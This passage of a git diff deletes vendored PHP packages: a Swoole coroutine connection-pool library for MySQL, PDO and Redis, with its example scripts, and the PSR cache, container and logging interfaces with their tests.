a/vendor/open-smf/connection-pool/examples/coroutine-redis.php +++ /dev/null @@ -1,48 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new CoroutineRedisConnector, - [ - 'host' => '127.0.0.1', - 'port' => '6379', - 'database' => 0, - 'password' => null, - 'options' => [ - 'connect_timeout' => 1, - 'timeout' => 5, - ], - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Close connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var Redis $connection */ - $connection = $pool->borrow(); - - $connection->set('test', uniqid()); - $test = $connection->get('test'); - - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($test); -}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php b/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php deleted file mode 100644 index 0520712..0000000 --- a/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php +++ /dev/null @@ -1,49 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new PDOConnector, - [ - 'dsn' => 'mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8mb4', - 'username' => 'root', - 'password' => 'xy123456', - 'options' => [ - \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, - \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, - \PDO::ATTR_TIMEOUT => 30, - ], - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Close connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var \PDO $connection */ - $connection = $pool->borrow(); - - $statement = $connection->query('SHOW STATUS LIKE "Threads_connected"'); - - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($statement->fetch()); -}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php b/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php deleted file mode 100644 index 4fbc8e0..0000000 --- a/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php +++ /dev/null @@ -1,47 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new PhpRedisConnector, - [ - 'host' => '127.0.0.1', - 'port' => '6379', - 'database' => 0, - 'password' => null, - 'timeout' => 5, - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Close connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var Redis $connection */ - $connection = $pool->borrow(); - - $connection->set('test', uniqid()); - $test = $connection->get('test'); - - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($test); -}); diff --git a/vendor/open-smf/connection-pool/examples/dynamic-testing.php b/vendor/open-smf/connection-pool/examples/dynamic-testing.php deleted file mode 100644 index 07bbd22..0000000 --- a/vendor/open-smf/connection-pool/examples/dynamic-testing.php +++ /dev/null @@ -1,65 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new PDOConnector, - [ - 'dsn' => 'mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8mb4', - 'username' => 'root', - 'password' => 'xy123456', - 'options' => [ - \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, - \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, - \PDO::ATTR_TIMEOUT => 30, - ], - ] - ); - $pool->init(); - - // For debug - $peakCount = 0; - swoole_timer_tick(1000, function () use ($pool, &$peakCount) { - $count = $pool->getConnectionCount(); - $idleCount = $pool->getIdleCount(); - if ($peakCount < $count) { - $peakCount = $count; - } - echo "Pool connection count: $count, peak count: $peakCount, idle count: $idleCount\n"; - }); - - while (true) { - $count = mt_rand(1, 45); - echo "Query count: $count\n"; - for ($i = 0; $i < $count; $i++) { - go(function () use ($pool) { - /**@var \PDO $pdo */ - $pdo = $pool->borrow(); - defer(function () use ($pool, $pdo) { - $pool->return($pdo); - }); - $statement = $pdo->query('show status like \'Threads_connected\''); - $ret = $statement->fetch(); - if (!isset($ret['Variable_name'])) { - echo "Invalid query result: \n", print_r($ret, true); - } - echo $ret['Variable_name'] . ': ' . $ret['Value'] . "\n"; - }); - } - Coroutine::sleep(mt_rand(1, 15)); - } -}); diff --git a/vendor/open-smf/connection-pool/examples/http-server.php b/vendor/open-smf/connection-pool/examples/http-server.php deleted file mode 100644 index be74d38..0000000 --- a/vendor/open-smf/connection-pool/examples/http-server.php +++ /dev/null @@ -1,132 +0,0 @@ -swoole = new Server($host, $port); - - $this->setDefault(); - $this->bindWorkerEvents(); - $this->bindHttpEvent(); - } - - protected function setDefault() - { - $this->swoole->set([ - 'daemonize' => false, - 'dispatch_mode' => 1, - 'max_request' => 8000, - 'open_tcp_nodelay' => true, - 'reload_async' => true, - 'max_wait_time' => 60, - 'enable_reuse_port' => true, - 'enable_coroutine' => true, - 'http_compression' => false, - 'enable_static_handler' => false, - 'buffer_output_size' => 4 * 1024 * 1024, - 'worker_num' => 4, // Each worker holds a connection pool - ]); - } - - protected function bindHttpEvent() - { - $this->swoole->on('Request', function (Request $request, Response $response) { - $pool1 = $this->getConnectionPool('mysql'); - /**@var MySQL $mysql */ - $mysql = $pool1->borrow(); - $status = $mysql->query('SHOW STATUS LIKE "Threads_connected"'); - // Return the connection to pool as soon as possible - $pool1->return($mysql); - - - $pool2 = $this->getConnectionPool('redis'); - /**@var \Redis $redis */ - $redis = $pool2->borrow(); - $clients = $redis->info('Clients'); - // Return the connection to pool as soon as possible - $pool2->return($redis); - - $json = [ - 'status' => $status, - 'clients' => $clients, - ]; - // Other logic - // ... - $response->header('Content-Type', 'application/json'); - $response->end(json_encode($json)); - }); - } - - protected function bindWorkerEvents() - { - $createPools = function () { - // All MySQL connections: [4 workers * 2 = 8, 4 workers * 10 = 40] - $pool1 = new ConnectionPool( - [ - 'minActive' => 2, - 'maxActive' => 10, - ], - new CoroutineMySQLConnector, - [ - 'host' => '127.0.0.1', - 'port' => '3306', - 'user' => 'root', - 'password' => 'xy123456', - 'database' => 'mysql', - 'timeout' => 10, - 'charset' => 'utf8mb4', - 'strict_type' => true, - 'fetch_mode' => true, - ]); - $pool1->init(); - $this->addConnectionPool('mysql', $pool1); - - // All Redis connections: [4 workers * 5 = 20, 4 workers * 20 = 80] - $pool2 = new ConnectionPool( - [ - 'minActive' => 5, - 'maxActive' => 20, - ], - new PhpRedisConnector, - [ - 'host' => '127.0.0.1', - 'port' => '6379', - 'database' => 0, - 'password' => null, - ]); - $pool2->init(); - $this->addConnectionPool('redis', $pool2); - }; - $closePools = function () { - $this->closeConnectionPools(); - }; - $this->swoole->on('WorkerStart', $createPools); - $this->swoole->on('WorkerStop', $closePools); - $this->swoole->on('WorkerError', $closePools); - } - - public function start() - { - $this->swoole->start(); - } -} - -// Enable coroutine for PhpRedis -Swoole\Runtime::enableCoroutine(); -$server = new HttpServer('0.0.0.0', 5200); -$server->start(); \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php b/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php deleted file mode 100644 index 414a8cb..0000000 --- a/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php +++ /dev/null @@ -1,19 +0,0 @@ -timeout; - } - - public function setTimeout(float $timeout): self - { - $this->timeout = $timeout; - return $this; - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/ConnectionPool.php b/vendor/open-smf/connection-pool/src/ConnectionPool.php deleted file mode 100644 index 3c46b49..0000000 --- a/vendor/open-smf/connection-pool/src/ConnectionPool.php +++ /dev/null @@ -1,278 +0,0 @@ -initialized = false; - $this->closed = false; - $this->minActive = $poolConfig['minActive'] ?? 20; - $this->maxActive = $poolConfig['maxActive'] ?? 100; - $this->maxWaitTime = $poolConfig['maxWaitTime'] ?? 5; - $this->maxIdleTime = $poolConfig['maxIdleTime'] ?? 30; - $poolConfig['idleCheckInterval'] = $poolConfig['idleCheckInterval'] ?? 15; - $this->idleCheckInterval = $poolConfig['idleCheckInterval'] >= static::MIN_CHECK_IDLE_INTERVAL ? $poolConfig['idleCheckInterval'] : static::MIN_CHECK_IDLE_INTERVAL; - $this->connectionConfig = $connectionConfig; - $this->connector = $connector; - } - - /** - * Initialize the connection pool - * @return bool - */ - public function init(): bool - { - if ($this->initialized) { - return false; - } - $this->initialized = true; - $this->pool = new Channel($this->maxActive); - $this->balancerTimerId = $this->startBalanceTimer($this->idleCheckInterval); - go(function () { - for ($i = 0; $i < $this->minActive; $i++) { - $connection = $this->createConnection(); - $ret = $this->pool->push($connection, static::CHANNEL_TIMEOUT); - if ($ret === false) { - $this->removeConnection($connection); - } - } - }); - return true; - } - - /** - * Borrow a connection from the connection pool, throw an exception if timeout - * @return mixed The connection resource - * @throws BorrowConnectionTimeoutException - * @throws \RuntimeException - */ - public function borrow() - { - if (!$this->initialized) { - throw new \RuntimeException('Please initialize the connection pool first, call $pool->init().'); - } - if ($this->pool->isEmpty()) { - // Create more connections - if ($this->connectionCount < $this->maxActive) { - return $this->createConnection(); - } - } - - $connection = $this->pool->pop($this->maxWaitTime); - if ($connection === false) { - $exception = new BorrowConnectionTimeoutException(sprintf( - 'Borrow the connection timeout in %.2f(s), connections in pool: %d, all connections: %d', - $this->maxWaitTime, - $this->pool->length(), - $this->connectionCount - )); - $exception->setTimeout($this->maxWaitTime); - throw $exception; - } - if ($this->connector->isConnected($connection)) { - // Reset the connection for the connected connection - $this->connector->reset($connection, $this->connectionConfig); - } else { - // Remove the disconnected connection, then create a new connection - $this->removeConnection($connection); - $connection = $this->createConnection(); - } - return $connection; - } - - /** - * Return a connection to the connection pool - * @param mixed $connection The connection resource - * @return bool - */ - public function return($connection): bool - { - if (!$this->connector->validate($connection)) { - throw new \RuntimeException('Connection of unexpected type returned.'); - } - - if (!$this->initialized) { - throw new \RuntimeException('Please initialize the connection pool first, call $pool->init().'); - } - if ($this->pool->isFull()) { - // Discard the connection - $this->removeConnection($connection); - return false; - } - $connection->{static::KEY_LAST_ACTIVE_TIME} = time(); - $ret = $this->pool->push($connection, static::CHANNEL_TIMEOUT); - if ($ret === false) { - $this->removeConnection($connection); - } - return true; - } - - /** - * Get the number of created connections - * @return int - */ - public function getConnectionCount(): int - { - return $this->connectionCount; - } - - /** - * Get the number of idle connections - * @return int - */ - public function getIdleCount(): int - { - return $this->pool->length(); - } - - /** - * Close the connection pool and disconnect all connections - * @return bool - */ - public function close(): bool - { - if (!$this->initialized) { - return false; - } - if ($this->closed) { - return false; - } - $this->closed = true; - swoole_timer_clear($this->balancerTimerId); - go(function () { - while (true) { - if ($this->pool->isEmpty()) { - break; - } - $connection = $this->pool->pop(static::CHANNEL_TIMEOUT); - if ($connection !== false) { - $this->connector->disconnect($connection); - } - } - $this->pool->close(); - }); - return true; - } - - public function __destruct() - { - $this->close(); - } - - protected function startBalanceTimer(float $interval) - { - return swoole_timer_tick(round($interval) * 1000, function () { - $now = time(); - $validConnections = []; - while (true) { - if ($this->closed) { - break; - } - if ($this->connectionCount <= $this->minActive) { - break; - } - if ($this->pool->isEmpty()) { - break; - } - $connection = $this->pool->pop(static::CHANNEL_TIMEOUT); - if ($connection === false) { - continue; - } - $lastActiveTime = $connection->{static::KEY_LAST_ACTIVE_TIME} ?? 0; - if ($now - $lastActiveTime < $this->maxIdleTime) { - $validConnections[] = $connection; - } else { - $this->removeConnection($connection); - } - } - - foreach ($validConnections as $validConnection) { - $ret = $this->pool->push($validConnection, static::CHANNEL_TIMEOUT); - if ($ret === false) { - $this->removeConnection($validConnection); - } - } - }); - } - - protected function createConnection() - { - $this->connectionCount++; - $connection = $this->connector->connect($this->connectionConfig); - $connection->{static::KEY_LAST_ACTIVE_TIME} = time(); - return $connection; - } - - protected function removeConnection($connection) - { - $this->connectionCount--; - go(function () use ($connection) { - try { - $this->connector->disconnect($connection); - } catch (\Throwable $e) { - // Ignore this exception. - } - }); - } -} diff --git a/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php b/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php deleted file mode 100644 index 09523eb..0000000 --- a/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php +++ /dev/null @@ -1,33 +0,0 @@ -pools[$key] = $pool; - } - - /** - * Get a connection pool by key - * @param string $key - * @return ConnectionPool - */ - public function getConnectionPool(string $key): ConnectionPool - { - return $this->pools[$key]; - } - - /** - * Close the connection by key - * @param string $key - * @return bool - */ - public function closeConnectionPool(string $key) - { - return $this->pools[$key]->close(); - } - - /** - * Close all connection pools - */ - public function closeConnectionPools() - { - foreach ($this->pools as $pool) { - $pool->close(); - } - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php b/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php deleted file mode 100644 index e04e946..0000000 --- a/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php +++ /dev/null @@ -1,43 +0,0 @@ -connect($config) === false) { - throw new \RuntimeException(sprintf('Failed to connect MySQL server: [%d] %s', $connection->connect_errno, $connection->connect_error)); - } - return $connection; - } - - public function disconnect($connection) - { - /**@var MySQL $connection */ - $connection->close(); - } - - public function isConnected($connection): bool - { - /**@var MySQL $connection */ - return $connection->connected; - } - - public function reset($connection, array $config) - { - - } - - public function validate($connection): bool - { - return $connection instanceof MySQL; - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php b/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php deleted file mode 100644 index d3b6930..0000000 --- a/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php +++ /dev/null @@ -1,42 +0,0 @@ -connect($config['connection_strings']); - if ($ret === false) { - throw new \RuntimeException(sprintf('Failed to connect PostgreSQL server: %s', $connection->error)); - } - return $connection; - } - - public function disconnect($connection) - { - /**@var PostgreSQL $connection */ - } - - public function isConnected($connection): bool - { - /**@var PostgreSQL $connection */ - return true; - } - - public function reset($connection, array $config) - { - /**@var PostgreSQL $connection */ - } - - public function validate($connection): bool - { - return $connection instanceof PostgreSQL; - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php b/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php deleted file mode 100644 index dd0cec4..0000000 --- a/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php +++ /dev/null @@ -1,53 +0,0 @@ -connect($config['host'], $config['port']); - if ($ret === false) { - throw new \RuntimeException(sprintf('Failed to connect Redis server: [%s] %s', $connection->errCode, $connection->errMsg)); - } - if (isset($config['password'])) { - $config['password'] = (string)$config['password']; - if ($config['password'] !== '') { - $connection->auth($config['password']); - } - } - if (isset($config['database'])) { - $connection->select($config['database']); - } - return $connection; - } - - public function disconnect($connection) - { - /**@var Redis $connection */ - $connection->close(); - } - - public function isConnected($connection): bool - { - /**@var Redis $connection */ - return $connection->connected; - } - - public function reset($connection, array $config) - { - /**@var Redis $connection */ - $connection->setDefer(false); - if (isset($config['database'])) { - $connection->select($config['database']); - } - } - - public function validate($connection): bool - { - return $connection instanceof Redis; - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php b/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php deleted file mode 100644 index 2e7bb0b..0000000 --- a/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php +++ /dev/null @@ -1,42 +0,0 @@ -getCode(), $e->getMessage())); - } - return $connection; - } - - public function disconnect($connection) - { - /**@var \PDO $connection */ - $connection = null; - } - - public function isConnected($connection): bool - { - /**@var \PDO $connection */ - try { - return !!@$connection->getAttribute(\PDO::ATTR_SERVER_INFO); - } catch (\Throwable $e) { - return false; - } - } - - public function reset($connection, array $config) - { - - } - - public function validate($connection): bool - { - return $connection instanceof \PDO; - } -} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php b/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php deleted file mode 100644 index bbcb11a..0000000 --- a/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php +++ /dev/null @@ -1,53 +0,0 @@ -connect($config['host'], $config['port'], $config['timeout'] ?? 10); - if ($ret === false) { - throw new \RuntimeException(sprintf('Failed to connect Redis server: %s', $connection->getLastError())); - } - if (isset($config['password'])) { - $config['password'] = (string)$config['password']; - if ($config['password'] !== '') { - $connection->auth($config['password']); - } - } - if (isset($config['database'])) { - $connection->select($config['database']); - } - foreach ($config['options'] ?? [] as $key => $value) { - $connection->setOption($key, $value); - } - return $connection; - } - - public function disconnect($connection) - { - /**@var \Redis $connection */ - $connection->close(); - } - - public function isConnected($connection): bool - { - /**@var \Redis $connection */ - return $connection->isConnected(); - } - - public function reset($connection, array $config) - { - /**@var \Redis $connection */ - if (isset($config['database'])) { - $connection->select($config['database']); - } - } - - public function validate($connection): bool - { - return $connection instanceof \Redis; - } -} \ No newline at end of file diff --git a/vendor/psr/cache/CHANGELOG.md b/vendor/psr/cache/CHANGELOG.md deleted file mode 100644 index 58ddab0..0000000 --- a/vendor/psr/cache/CHANGELOG.md +++ /dev/null @@ -1,16 +0,0 @@ -# Changelog - -All notable changes to this project will be documented in this file, in reverse chronological order by release. - -## 1.0.1 - 2016-08-06 - -### Fixed - -- Make spacing consistent in phpdoc annotations php-fig/cache#9 - chalasr -- Fix grammar in phpdoc annotations php-fig/cache#10 - chalasr -- Be more specific in docblocks that `getItems()` and `deleteItems()` take an array of strings (`string[]`) compared to just `array` php-fig/cache#8 - GrahamCampbell -- For `expiresAt()` and `expiresAfter()` in CacheItemInterface fix docblock to specify null as a valid parameters as well as an implementation of DateTimeInterface php-fig/cache#7 - GrahamCampbell - -## 1.0.0 - 2015-12-11 - -Initial stable release; reflects accepted PSR-6 specification diff --git a/vendor/psr/cache/LICENSE.txt b/vendor/psr/cache/LICENSE.txt deleted file mode 100644 index b1c2c97..0000000 --- a/vendor/psr/cache/LICENSE.txt +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2015 PHP Framework Interoperability Group - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/psr/cache/README.md b/vendor/psr/cache/README.md deleted file mode 100644 index c8706ce..0000000 --- a/vendor/psr/cache/README.md +++ /dev/null @@ -1,9 +0,0 @@ -PSR Cache -========= - -This repository holds all interfaces defined by -[PSR-6](http://www.php-fig.org/psr/psr-6/). - -Note that this is not a Cache implementation of its own. It is merely an -interface that describes a Cache implementation. See the specification for more -details. diff --git a/vendor/psr/cache/composer.json b/vendor/psr/cache/composer.json deleted file mode 100644 index e828fec..0000000 --- a/vendor/psr/cache/composer.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "psr/cache", - "description": "Common interface for caching libraries", - "keywords": ["psr", "psr-6", "cache"], - "license": "MIT", - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "require": { - "php": ">=5.3.0" - }, - "autoload": { - "psr-4": { - "Psr\\Cache\\": "src/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - } -} diff --git a/vendor/psr/cache/src/CacheException.php b/vendor/psr/cache/src/CacheException.php deleted file mode 100644 index e27f22f..0000000 --- a/vendor/psr/cache/src/CacheException.php +++ /dev/null @@ -1,10 +0,0 @@ -=5.3.0" - }, - "autoload": { - "psr-4": { - "Psr\\Container\\": "src/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - } -} diff --git a/vendor/psr/container/src/ContainerExceptionInterface.php b/vendor/psr/container/src/ContainerExceptionInterface.php deleted file mode 100644 index d35c6b4..0000000 --- a/vendor/psr/container/src/ContainerExceptionInterface.php +++ /dev/null @@ -1,13 +0,0 @@ -log(LogLevel::EMERGENCY, $message, $context); - } - - /** - * Action must be taken immediately. - * - * Example: Entire website down, database unavailable, etc. This should - * trigger the SMS alerts and wake you up. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function alert($message, array $context = array()) - { - $this->log(LogLevel::ALERT, $message, $context); - } - - /** - * Critical conditions. - * - * Example: Application component unavailable, unexpected exception. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function critical($message, array $context = array()) - { - $this->log(LogLevel::CRITICAL, $message, $context); - } - - /** - * Runtime errors that do not require immediate action but should typically - * be logged and monitored. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function error($message, array $context = array()) - { - $this->log(LogLevel::ERROR, $message, $context); - } - - /** - * Exceptional occurrences that are not errors. - * - * Example: Use of deprecated APIs, poor use of an API, undesirable things - * that are not necessarily wrong. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function warning($message, array $context = array()) - { - $this->log(LogLevel::WARNING, $message, $context); - } - - /** - * Normal but significant events. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function notice($message, array $context = array()) - { - $this->log(LogLevel::NOTICE, $message, $context); - } - - /** - * Interesting events. - * - * Example: User logs in, SQL logs. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function info($message, array $context = array()) - { - $this->log(LogLevel::INFO, $message, $context); - } - - /** - * Detailed debug information. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function debug($message, array $context = array()) - { - $this->log(LogLevel::DEBUG, $message, $context); - } -} diff --git a/vendor/psr/log/Psr/Log/InvalidArgumentException.php b/vendor/psr/log/Psr/Log/InvalidArgumentException.php deleted file mode 100644 index 67f852d..0000000 --- a/vendor/psr/log/Psr/Log/InvalidArgumentException.php +++ /dev/null @@ -1,7 +0,0 @@ -logger = $logger; - } -} diff --git a/vendor/psr/log/Psr/Log/LoggerInterface.php b/vendor/psr/log/Psr/Log/LoggerInterface.php deleted file mode 100644 index 2206cfd..0000000 --- a/vendor/psr/log/Psr/Log/LoggerInterface.php +++ /dev/null @@ -1,125 +0,0 @@ -log(LogLevel::EMERGENCY, $message, $context); - } - - /** - * Action must be taken immediately. - * - * Example: Entire website down, database unavailable, etc. This should - * trigger the SMS alerts and wake you up. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function alert($message, array $context = array()) - { - $this->log(LogLevel::ALERT, $message, $context); - } - - /** - * Critical conditions. - * - * Example: Application component unavailable, unexpected exception. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function critical($message, array $context = array()) - { - $this->log(LogLevel::CRITICAL, $message, $context); - } - - /** - * Runtime errors that do not require immediate action but should typically - * be logged and monitored. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function error($message, array $context = array()) - { - $this->log(LogLevel::ERROR, $message, $context); - } - - /** - * Exceptional occurrences that are not errors. - * - * Example: Use of deprecated APIs, poor use of an API, undesirable things - * that are not necessarily wrong. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function warning($message, array $context = array()) - { - $this->log(LogLevel::WARNING, $message, $context); - } - - /** - * Normal but significant events. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function notice($message, array $context = array()) - { - $this->log(LogLevel::NOTICE, $message, $context); - } - - /** - * Interesting events. - * - * Example: User logs in, SQL logs. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function info($message, array $context = array()) - { - $this->log(LogLevel::INFO, $message, $context); - } - - /** - * Detailed debug information. - * - * @param string $message - * @param array $context - * - * @return void - */ - public function debug($message, array $context = array()) - { - $this->log(LogLevel::DEBUG, $message, $context); - } - - /** - * Logs with an arbitrary level. - * - * @param mixed $level - * @param string $message - * @param array $context - * - * @return void - * - * @throws \Psr\Log\InvalidArgumentException - */ - abstract public function log($level, $message, array $context = array()); -} diff --git a/vendor/psr/log/Psr/Log/NullLogger.php b/vendor/psr/log/Psr/Log/NullLogger.php deleted file mode 100644 index c8f7293..0000000 --- a/vendor/psr/log/Psr/Log/NullLogger.php +++ /dev/null @@ -1,30 +0,0 @@ -logger) { }` - * blocks. - */ -class NullLogger extends AbstractLogger -{ - /** - * Logs with an arbitrary level. - * - * @param mixed $level - * @param string $message - * @param array $context - * - * @return void - * - * @throws \Psr\Log\InvalidArgumentException - */ - public function log($level, $message, array $context = array()) - { - // noop - } -} diff --git a/vendor/psr/log/Psr/Log/Test/DummyTest.php b/vendor/psr/log/Psr/Log/Test/DummyTest.php deleted file mode 100644 index 9638c11..0000000 --- a/vendor/psr/log/Psr/Log/Test/DummyTest.php +++ /dev/null @@ -1,18 +0,0 @@ - ". - * - * Example ->error('Foo') would yield "error Foo". - * - * @return string[] - */ - abstract public function getLogs(); - - public function testImplements() - { - $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); - } - - /** - * @dataProvider provideLevelsAndMessages - */ - public function testLogsAtAllLevels($level, $message) - { - $logger = $this->getLogger(); - $logger->{$level}($message, array('user' => 'Bob')); - $logger->log($level, $message, array('user' => 'Bob')); - - $expected = array( - $level.' message of level '.$level.' with context: Bob', - $level.' message of level '.$level.' with context: Bob', - ); - $this->assertEquals($expected, $this->getLogs()); - } - - public function provideLevelsAndMessages() - { - return array( - LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), - LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), - LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), - LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), - LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), - LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), - LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), - LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), - ); - } - - /** - * @expectedException \Psr\Log\InvalidArgumentException - */ - public function testThrowsOnInvalidLevel() - { - $logger = $this->getLogger(); - $logger->log('invalid level', 'Foo'); - } - - public function testContextReplacement() - { - $logger = $this->getLogger(); - $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); - - $expected = array('info {Message {nothing} Bob Bar a}'); - $this->assertEquals($expected, $this->getLogs()); - } - - public function testObjectCastToString() - { - if (method_exists($this, 'createPartialMock')) { - $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); - } else { - $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); - } - $dummy->expects($this->once()) - ->method('__toString') - ->will($this->returnValue('DUMMY')); - - $this->getLogger()->warning($dummy); - - $expected = array('warning DUMMY'); - $this->assertEquals($expected, $this->getLogs()); - } - - public function testContextCanContainAnything() - { - $closed = fopen('php://memory', 'r'); - fclose($closed); - - $context = array( - 'bool' => true, - 'null' => null, - 'string' => 'Foo', - 'int' => 0, - 'float' => 0.5, - 'nested' => array('with object' => new DummyTest), - 'object' => new \DateTime, - 'resource' => fopen('php://memory', 'r'), - 'closed' => $closed, - ); - - $this->getLogger()->warning('Crazy context data', $context); - - $expected = array('warning Crazy context data'); - $this->assertEquals($expected, $this->getLogs()); - } - - public function testContextExceptionKeyCanBeExceptionOrOtherValues() - { - $logger = $this->getLogger(); - $logger->warning('Random message', array('exception' => 'oops')); - $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); - - $expected = array( - 'warning Random message', - 'critical Uncaught Exception!' - ); - $this->assertEquals($expected, $this->getLogs()); - } -} diff --git a/vendor/psr/log/Psr/Log/Test/TestLogger.php b/vendor/psr/log/Psr/Log/Test/TestLogger.php deleted file mode 100644 index 1be3230..0000000 --- a/vendor/psr/log/Psr/Log/Test/TestLogger.php +++ /dev/null @@ -1,147 +0,0 @@ - $level, - 'message' => $message, - 'context' => $context, - ]; - - $this->recordsByLevel[$record['level']][] = $record; - $this->records[] = $record; - } - - public function hasRecords($level) - { - return isset($this->recordsByLevel[$level]); - } - - public function hasRecord($record, $level) - { - if (is_string($record)) { - $record = ['message' => $record]; - } - return $this->hasRecordThatPasses(function ($rec) use ($record) { - if ($rec['message'] !== $record['message']) { - return false; - } - if (isset($record['context']) && $rec['context'] !== $record['context']) { - return false; - } - return true; - }, $level); - } - - public function hasRecordThatContains($message, $level) - { - return $this->hasRecordThatPasses(function ($rec) use ($message) { - return strpos($rec['message'], $message) !== false; - }, $level); - } - - public function hasRecordThatMatches($regex, $level) - { - return $this->hasRecordThatPasses(function ($rec) use ($regex) { - return preg_match($regex, $rec['message']) > 0; - }, $level); - } - - public function 